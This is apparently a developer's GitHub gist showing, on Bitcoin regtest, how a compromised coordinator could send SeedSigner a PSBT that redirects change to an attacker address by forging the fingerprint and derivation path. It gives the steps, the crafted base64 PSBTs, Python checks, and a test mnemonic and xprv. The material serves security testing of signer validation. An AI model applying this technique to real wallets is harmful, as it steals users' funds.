Skip to content

Instantly share code, notes, and snippets.

@kdmukai
Last active June 17, 2022 13:24
Show Gist options
  • Save kdmukai/8ba4584a9c27939c3d1fe0286a2d2e62 to your computer and use it in GitHub Desktop.
Save kdmukai/8ba4584a9c27939c3d1fe0286a2d2e62 to your computer and use it in GitHub Desktop.
SeedSigner vs a compromised coordinator sending a change-stealing single sig psbt

Single sig change-stealing attack from a compromised coordinator

See the full video walkthrough on twitter.

The CORRECT psbt

Spending uxto from regtest: 3641312fc3e418804f1a0a88098b6bf8e3bdca13afd2f0633ca3166fc8533f17

Signing mnemonic: "smoke chimney announce candy glory tongue refuse fatigue cricket once consider beef treat urge wing deny gym robot tobacco adult problem priority wheat diagram"

Intended tx: Send 0.1 tBTC to bcrt1q0uyh9x929hy0d6taqshns3f7rm0se4w2jj3uf89t33mysvmekvxsjzrsnd Receive 0.37309319 back as change to bcrt1qhgdexfrvrcdejxx4sf0ve4yekuq7ej4hsx0ffe

cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AodLOQIAAAAAFgAUuhuTJGweG5kY1YJezNSZtwHsyreAlpgAAAAAACIAIH8JcpiqLcj26X0ELzhFPh7fDNXKlKPEnKuMdkgzebMNdQIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAIgIDm5lKqkPPiX/VDvlOeoC7YwWOMGgwrSOtLB48u6neKGgYNcXZBVQAAIABAACAAAAAgAEAAAAAAAAAAAA=

Simplistic evil psbt

Just replace the change addr with the hacker's receive addr.

Hacker's receive addr: bcrt1qd7spv5q28348xl4myc8zmh983w5jx32cs707jh

cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AoCWmAAAAAAAIgAgfwlymKotyPbpfQQvOEU+Ht8M1cqUo8Scq4x2SDN5sw2HSzkCAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAAAA=

The Hacker's receive addr

Create a temporary transaction in the hacker's wallet that includes a self-transfer.

Hacker's receive addr: bcrt1qd7spv5q28348xl4myc8zmh983w5jx32cs707jh

Use this temp tx to extract the public key for this receive addr.

cHNidP8BAHECAAAAAUOtAtYt6iJBlymHvHgkjONrwk3DMlOIAy6DqJhDaM2xAQAAAAD9////AvNJXQUAAAAAFgAULzSqHPAKU7BVopGgOn1F8KaYi1KAlpgAAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAVGJumUl/GqveBtnDLSGDCXUOKa763eccz7NP3VhMEcOAQAAAAD9////AuSB1xcAAAAAIgAgBbmObdScLl/KMoJRnwtPOMQ21v+KhFNoExd5JewHef4A4fUFAAAAABYAFNDEo+8J6Ze26Z45flGP4+QaEYyhdQIAAAEBHwDh9QUAAAAAFgAU0MSj7wnpl7bpnjl+UY/j5BoRjKEiBgLnqyU3tdSelwMJquBunknzbOHJ/rvUTsjg0cygtPnDGRhzxdoKVAAAgAEAAIAAAACAAAAAAAAAAAAAIgIDXUnszVTQCZ5DZ2J3x6bUYl1hHaiKXfSb+VF6d5Gnd6UYc8XaClQAAIABAACAAAAAgAEAAAAAAAAAACICA+7tIFppAi/tSmKgJFfzaZsZwGv3S/gBrMbZroS8FqnhGHPF2gpUAACAAQAAgAAAAIAAAAAAAQAAAAA=

Assemble the complete evil psbt

Edit the simplistic evil psbt and insert the hacker's public key for their receive addr, but also change the fingerprint and derivation path to match the original CORRECT psbt's change path.

cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AoCWmAAAAAAAIgAgfwlymKotyPbpfQQvOEU+Ht8M1cqUo8Scq4x2SDN5sw2HSzkCAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAACICA+7tIFppAi/tSmKgJFfzaZsZwGv3S/gBrMbZroS8FqnhGDXF2QVUAACAAQAAgAAAAIABAAAAAAAAAAA=
"""
These aren't necessarily complete steps, just notes to myself as I was hacking around and testing things out.
"""
from embit import psbt, script
from seedsigner.models.decodeqr import DecodeQR
from seedsigner.models.psbt_parser import PSBTParser
from seedsigner.models.seed import Seed
decoder = DecodeQR()
decoder.add_data("cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AodLOQIAAAAAFgAUuhuTJGweG5kY1YJezNSZtwHsyreAlpgAAAAAACIAIH8JcpiqLcj26X0ELzhFPh7fDNXKlKPEnKuMdkgzebMNdQIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAIgIDm5lKqkPPiX/VDvlOeoC7YwWOMGgwrSOtLB48u6neKGgYNcXZBVQAAIABAACAAAAAgAEAAAAAAAAAAAA=")
psbt = decoder.get_psbt()
mnemonic = "smoke chimney announce candy glory tongue refuse fatigue cricket once consider beef treat urge wing deny gym robot tobacco adult problem priority wheat diagram".split()
seed = Seed(mnemonic)
psbt_parser = PSBTParser(psbt, seed=seed)
i = 0
out = psbt_parser.psbt.outputs[i]
out_policy = PSBTParser._get_policy(out, psbt_parser.psbt.tx.vout[i].script_pubkey, psbt_parser.psbt.xpubs)
my_pubkey = None
der = list(out.bip32_derivations.values())[0].derivation
my_pubkey = psbt_parser.root.derive(der)
sc = script.p2wpkh(my_pubkey) # xprvA2fWVQChuQVJGHsV66U3CtzgzVto4WCDcmN7uPtPciei5RviDHzF8ey3FaFp7qdDd9Rjo3UiVivByEaYH1fwVBhWQfXdeNcZpm985v6y2cc
# sc.data = b'\x00\x14\xba\x1b\x93$l\x1e\x1b\x99\x18\xd5\x82^\xcc\xd4\x99\xb7\x01\xec\xca\xb7'
sc.data == psbt_parser.psbt.tx.vout[i].script_pubkey.data # TRUE for correct psbt
# Now repeat for evil psbt
decoder = DecodeQR()
decoder.add_data("cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AoCWmAAAAAAAIgAgfwlymKotyPbpfQQvOEU+Ht8M1cqUo8Scq4x2SDN5sw2HSzkCAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAACICA+7tIFppAi/tSmKgJFfzaZsZwGv3S/gBrMbZroS8FqnhGDXF2QVUAACAAQAAgAAAAIABAAAAAAAAAAA=")
psbt = decoder.get_psbt()
mnemonic = "smoke chimney announce candy glory tongue refuse fatigue cricket once consider beef treat urge wing deny gym robot tobacco adult problem priority wheat diagram".split()
seed = Seed(mnemonic)
psbt_parser = PSBTParser(psbt, seed=seed)
i = 1 # Evil psbt change is output 1
out = psbt_parser.psbt.outputs[i]
out_policy = PSBTParser._get_policy(out, psbt_parser.psbt.tx.vout[i].script_pubkey, psbt_parser.psbt.xpubs)
my_pubkey = None
der = list(out.bip32_derivations.values())[0].derivation
my_pubkey = psbt_parser.root.derive(der)
sc = script.p2wpkh(my_pubkey) # xprvA2fWVQChuQVJGHsV66U3CtzgzVto4WCDcmN7uPtPciei5RviDHzF8ey3FaFp7qdDd9Rjo3UiVivByEaYH1fwVBhWQfXdeNcZpm985v6y2cc
# sc.data = b'\x00\x14\xba\x1b\x93$l\x1e\x1b\x99\x18\xd5\x82^\xcc\xd4\x99\xb7\x01\xec\xca\xb7'
sc.data == psbt_parser.psbt.tx.vout[i].script_pubkey.data
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment